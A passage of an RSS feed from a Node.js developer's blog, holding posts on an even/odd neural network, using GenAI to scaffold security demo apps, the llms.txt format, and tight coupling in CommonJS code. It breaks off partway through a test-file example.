&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;testNumber&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;testNumber&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;testNumber&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;testNumber&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;testNumber&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;testNumber&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;testNumber&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;testNumber&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;testNumber&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the &lt;code&gt;testNumber()&lt;/code&gt; function we convert the number to the binary representation of it as is aligned with the same format of the training data. Then run the neural network, and then check if the result is above 0.5 to determine if the number is even or odd. We then compare this to the actual number to see if the neural network was correct.&lt;/p&gt;
&lt;p&gt;Just like that, you’ve created a neural network that can predict if a number is even or odd. You can expand on this by providing more training data, or by changing the hidden layers and neurons in the neural network.&lt;/p&gt;
&lt;p&gt;If you want to continue from this point on with a full reproducible example, see my git repository at &lt;a href=&quot;https://github.com/lirantal/neural-network-predicts-even-or-odd&quot;&gt;https://github.com/lirantal/neural-network-predicts-even-or-odd&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title>How I use GenAI to Speed Up Demo Apps in My DevRel Role</title><link>https://lirantal.com/blog/how-use-genai-speed-up-demo-apps-devrel-role/</link><guid>https://lirantal.com/blog/how-use-genai-speed-up-demo-apps-devrel-role/</guid><description>Developer Advocates and Engineers can leverage Generative AI to speed up their work and make them more productive. Here&apos;s a practical example from my day-to-day.</description><pubDate>Sun, 02 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Often the questions posed to software developers is whether AI will replace them. If you’re a developer advocate or in the field of Developer Relations (DevRel) then you’ve most probably thought about this too - will AI replace you? make you expandable?&lt;/p&gt;
&lt;p&gt;The key, really, is to fundamentally leverage GenAI to speed up your work and make you more productive. This is true whether you’re an engineer or a developer advocate. As the saying goes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“AI will not replace you. Developers who use AI will replace developers who don’t.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Indeed, this applies too for DevRel. Let me show you a practical example from my day-to-day.&lt;/p&gt;
&lt;h2 id=&quot;using-genai-to-make-developer-advocates-more-productive&quot;&gt;Using GenAI to Make Developer Advocates More Productive&lt;/h2&gt;
&lt;p&gt;I’m a Developer Advocate at a security company (&lt;a href=&quot;https://snyk.io&quot;&gt;snyk.io&lt;/a&gt;) and I often need to create demo applications to showcase security vulnerabilities. These are deliberately vulnerable apps that we build in Java, JavaScript, Golang and other languages and frameworks for education purposes.&lt;/p&gt;
&lt;p&gt;As you can imagine, a lot of work is spent on building these demo apps. Here’s a nutshell of what goes into it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Prep and research: what sort of vulnerabilities? what’s the use-case?&lt;/li&gt;
&lt;li&gt;Storyline: what is a realistic example that developers can relate to?&lt;/li&gt;
&lt;li&gt;Proof-of-concept: building the core of the exploitation and making sure it works so that it creates the basis for the demo app&lt;/li&gt;
&lt;li&gt;Building the demo app: this is where the actual app is built and where the exploitation is showcased&lt;/li&gt;
&lt;li&gt;Make it fun: hopefully, make the app look actually fun and engaging, using proper frontend and not some boring UI&lt;/li&gt;
&lt;li&gt;Make it reproducible: make sure that the app can be easily deployed and run by anyone in my DevRel team, SEs, or by the community&lt;/li&gt;
&lt;li&gt;Document it: properly document the how-to for the exploits&lt;/li&gt;
&lt;li&gt;Spread the word: write a blog post, create a video, and make sure that the app is well-documented&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What if I told you that out of that list, which is a lot but there’s even more that goes into it, I really only need to focus on a couple of to-do bullets and the rest can be automated by LLMs and GenAI?&lt;/p&gt;
&lt;p&gt;Follow me for a practical, real-world example where I employed the above strategy to build a demo app that showcases a security vulnerability in image analysis and prompt injection in a Node.js app.&lt;/p&gt;
&lt;h3 id=&quot;step-1-ideate-the-use-case-and-fun-demo&quot;&gt;Step 1: Ideate the Use-Case and Fun Demo&lt;/h3&gt;
&lt;p&gt;This is my starting point. I often either see something in the news, community, social feed or other interactions that sparks an idea. In other times, I just sit down and think what would make a fun use-case to demo. You can use AI to brainstorm this too but I often find it more authentic when the idea comes naturally (or from subconsciously browsing the web and prior engagements).&lt;/p&gt;
&lt;p&gt;So, I ideate what would be the use-case and fun demo to showcase a type of security vulnerability (in this case it’s an LLM hacking showcase)&lt;/p&gt;
&lt;h3 id=&quot;step-2-proof-of-concept&quot;&gt;Step 2: Proof-of-Concept&lt;/h3&gt;
&lt;p&gt;Once I locked down an “idea”, I iterate on the proof-of-concept which is the core of the program and I want to make sure that I’ve got a working example. This is where I spend most of my time because it requires effort in research, prompt injections, and various methods to find the “path” to a successful working demo.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/program-image-analysis-proof-of-concept.jpg&quot; alt=&quot;program image analysis proof of concept&quot;&gt;&lt;/p&gt;
&lt;p&gt;That successful moment when everything just works! The vulnerability is exploited, the prompt injection is successful and I can see the results in the console. Yay! 🙌&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/demonstrate-the-prompt-injection-in-the-image-analysis-exploited-code.png&quot; alt=&quot;demonstrate the prompt injection in the image analysis exploited code&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;step-3-building-the-demo-app&quot;&gt;Step 3: Building the Demo App&lt;/h3&gt;
&lt;p&gt;Ok so I’ve got a story, an idea, an actual proof-of-concept of the underlying insecure code and insecure code flow that would lead to a security vulnerability and break the app. Now I need to build the actual demo app.&lt;/p&gt;
&lt;p&gt;I bet many developer advocates and engineers spend a ton of time on, for honestly in my opinion, not a good reason. Here are all the stuff you can get stuck with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Which framework should I use? React, or Vue? Should I try the new Svelte?&lt;/li&gt;
&lt;li&gt;I need to dig into the docs and see how to set up a new project&lt;/li&gt;
&lt;li&gt;How do I scaffold a new project? should I use a ready-made template on GitHub? use the framework’s own CLI?&lt;/li&gt;
&lt;li&gt;Which UI component library to choose from?&lt;/li&gt;
&lt;li&gt;How do I get all of the different libraries put together and configured: Shadcn, TypeScript, the metaframework, etc&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And much more messy details that go into building an application. But what if I can just settle on the high-level requirements and let GenAI do the rest?&lt;/p&gt;
&lt;p&gt;This is where the new generation of application scaffolding and Generative AI comes in! I’m not talking about Cursor or Zed. I’m not talking about prompting IDEs or ChatGPT. I’m talking about a new breed of blended IDEs for low-code development that is fine-tuned at the intersection of AI and software development.&lt;/p&gt;
&lt;p&gt;A prime example of that is &lt;a href=&quot;http://bolt.new&quot;&gt;Bolt&lt;/a&gt; which is a Generative AI tool from the folks who built StackBlitz.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/scaffold-the-app-with-bolt-genai-tool.png&quot; alt=&quot;scaffold the app with bolt GenAI tool&quot;&gt;&lt;/p&gt;
&lt;p&gt;I prompt Bolt, asking it to scaffold a new Node.js app with Nuxt.js and it does all the heavy lifting for me. It sets up the project, installs the dependencies, and even gives me a working example that I can then build upon.&lt;/p&gt;
&lt;p&gt;I can specify the pages I want, the routing, which components are needed (for example an upload file component), and even the styling. I don’t need to worry about API endpoints, or how to setup the new Nuxt project. It’s all done for me.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I’ve used the demo app that Bolt scaffolded as a template to get started with and just baked on it my proof-of-concept code. You can take a look here if you want to learn more: &lt;a href=&quot;https://github.com/lirantal/event-ticket-admission-with-ai&quot;&gt;https://github.com/lirantal/event-ticket-admission-with-ai&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>What is an LLMs.txt File?</title><link>https://lirantal.com/blog/what-is-an-llms-txt-file/</link><guid>https://lirantal.com/blog/what-is-an-llms-txt-file/</guid><description>Building with Large Language Models (LLMs) requires context and metadata. The `llms.txt` file format is a simple text file that provides LLMs with relevant context and metadata.</description><pubDate>Fri, 28 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Large Language Models have made it into mainstream fields of technologies, beyond code generation, beyond documentation and quite significantly into many sorts of human-computer interactions. How do we give these LLMs more true context so that they do not hallucinate? so that these models, whether GPT-4o, Claude 3.7 Sonnet, or any other, can be more reliable, trustworthy vessel of information? Meet the &lt;code&gt;llms.txt&lt;/code&gt; file format.&lt;/p&gt;
&lt;h2 id=&quot;what-is-the-llmstxt-file&quot;&gt;What is the LLMs.txt file?&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;llms.txt&lt;/code&gt; file is a newly proposed standard that is intended to provide large language models with relevant context and metadata in the form of a simple text file (it may be formatted as plain-text markdown ascii).&lt;/p&gt;
&lt;h2 id=&quot;what-are-the-use-cases-for-llmstxt-file&quot;&gt;What are the use-cases for LLMs.txt file?&lt;/h2&gt;
&lt;p&gt;Originally, the &lt;code&gt;llms.txt&lt;/code&gt; file was intended to be used in the context of allowing AI-based agents processes to more easily scrape data off of websites so that these self-learning and autonomous agents do not need to deal with HTML parsing, loading JavaScript and any other web scraping struggles. Instead, websites can provide a simple &lt;code&gt;llms.txt&lt;/code&gt; file that contains the relevant context for each page, and LLMs can easily and quickly digest them without requiring further compute for parsing.&lt;/p&gt;
&lt;h3 id=&quot;llmstxt-for-websites&quot;&gt;LLMs.txt for Websites&lt;/h3&gt;
&lt;p&gt;Due to the directory structure of websites, you can generate and plant &lt;code&gt;llms.txt&lt;/code&gt; files in the root directory of your website but also they can be placed in documentation subdomain to allow GenAI code assistants to better embed and create the context for code snippets and suggested code examples. Some examples of these websites include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The Turbo build tool: &lt;a href=&quot;https://turbo.build/llms.txt&quot;&gt;https://turbo.build/llms.txt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Anthropic’s documentation: &lt;a href=&quot;https://docs.anthropic.com/llms.txt&quot;&gt;https://docs.anthropic.com/llms.txt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Dotenv’s all around favorite Node.js environment variable management tool: &lt;a href=&quot;https://dotenvx.com/llms.txt&quot;&gt;https://dotenvx.com/llms.txt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CrewAI agentic framework docs: &lt;a href=&quot;https://docs.crewai.com/llms.txt&quot;&gt;https://docs.crewai.com/llms.txt&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We’re already seeing emerging llms context related tools such as &lt;a href=&quot;https://github.com/ngmisl/llmstxt&quot;&gt;llmstxt python project&lt;/a&gt; that compresses files into a single, LLM-friendly text file designed to get codebases ready for analysis by Large Language Models.&lt;/p&gt;
&lt;h2 id=&quot;whats-next-for-llmstxt&quot;&gt;What’s next for LLMs.txt?&lt;/h2&gt;
&lt;p&gt;Given that contextual information is at the core of LLM integrations and agentic frameworks, are we going to see &lt;code&gt;llms.txt&lt;/code&gt; in different shapes and forms, making it to more than just websites?&lt;/p&gt;
&lt;p&gt;I personally think so. Some ideas that come to mind are to put llms.txt files in the following hubs as a starting point:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GitHub repositories&lt;/li&gt;
&lt;li&gt;DockerHub images&lt;/li&gt;
&lt;li&gt;The npm registry&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;llmstxt-directory&quot;&gt;LLMs.txt Directory&lt;/h2&gt;
&lt;p&gt;With the newly proposed &lt;code&gt;llms.txt&lt;/code&gt; file standard, new directories have been emerging that index the llmstxt file format and allow to search and discover websites that have embraced this new file format. Some of which are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LLMs.txt Hub: &lt;a href=&quot;https://llmstxthub.com/&quot;&gt;https://llmstxthub.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;LLMStxt Site: &lt;a href=&quot;https://llmstxt.site/&quot;&gt;https://llmstxt.site/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;next-up&quot;&gt;Next up&lt;/h2&gt;
&lt;p&gt;LLMs are more ubiquitous than ever, but if you don’t want to risk privacy or spend, learn &lt;a href=&quot;/blog/how-to-run-local-llm-for-inference-with-offline-first-approach&quot;&gt;how to run a local LLM for inference with an offline-first approach&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title>The CJS module system, globals and other hardships with maintainable code in Node.js</title><link>https://lirantal.com/blog/cjs-module-system-globals-hardships-maintainable-code-nodejs/</link><guid>https://lirantal.com/blog/cjs-module-system-globals-hardships-maintainable-code-nodejs/</guid><description>What are some common anti patterns and signs of tight coupling in a Node.js codebase and the challenges they present? Let&apos;s unfold some messy code and learn how the CJS module system and the use of globals has to do with it.</description><pubDate>Wed, 19 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the next set of examples we will review some common scenarios of tight coupling in Node.js applications and the challenges they present.&lt;/p&gt;
&lt;p&gt;These are pretty common code pattern I’ve seen in many Node.js “seed” applications - source code repositories that are meant to provide you with a starting point for your application. I’ve also seen many Node.js tutorials and blog posts that follow this code pattern for database access in their examples.&lt;/p&gt;
&lt;p&gt;In this article, we will review the following prime examples of tight coupling in a Node.js codebase:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Using global variables: Global variables are a common source of tight coupling in Node.js. When a variable is declared as global, it is accessible to all parts of the application. This can make it difficult to track down the source of a problem and can make it difficult to test the application.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hardcoding dependencies: Hardcoding dependencies means specifying the dependencies of a class or function explicitly. This can make it difficult to change the dependencies of the class or function without modifying the code.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Using singleton patterns: Singleton patterns create a single instance of a class that is accessible to all parts of the application. This can make it difficult to test the class and can make it difficult to change the implementation of the class without affecting other parts of the application.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;scenario-1-hard-wired-database-dependency-in-a-repository&quot;&gt;Scenario 1: hard-wired database dependency in a repository&lt;/h3&gt;
&lt;p&gt;In the following example, we have a &lt;code&gt;UserRepo&lt;/code&gt; class that is responsible for fetching users from a database. The &lt;code&gt;UserRepo&lt;/code&gt; class is tightly coupled to the database connection:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// FILE: user.repository.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ========================&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;db&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;./db&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;UserRepo&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;constructor&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; () {};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getUsers&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ()&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[]&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; db.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;SELECT * FROM users&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A classic follow-up usage of this repository is when a &lt;em&gt;service&lt;/em&gt; or a &lt;em&gt;controller&lt;/em&gt; requires the &lt;code&gt;user.repository.js&lt;/code&gt; file and uses it to fetch users from the database. Here’s an example of a Fastify route definition that does so:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// FILE: user.route.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ========================&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { UserRepo } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;./user.repository.js&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/users&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;reply&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;userRepo&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;UserRepo&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;users&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; userRepo.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getUsers&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; reply.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ users });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What is the problem with the above code?&lt;/p&gt;
&lt;p&gt;Requiring, or &lt;em&gt;using&lt;/em&gt;, the &lt;code&gt;UserRepo&lt;/code&gt; class impoliticly requires the database connection that is hard-wired in the &lt;code&gt;UserRepo&lt;/code&gt; class. This means that if we want to change the database part of the repository, we will have to change the &lt;code&gt;UserRepo&lt;/code&gt; class as well, or find ways around it.&lt;/p&gt;
&lt;p&gt;Next, you are faced with the following test code example for the Fastify route:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// FILE: test.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ========================&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;node:test&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;assert&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;node:assert&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
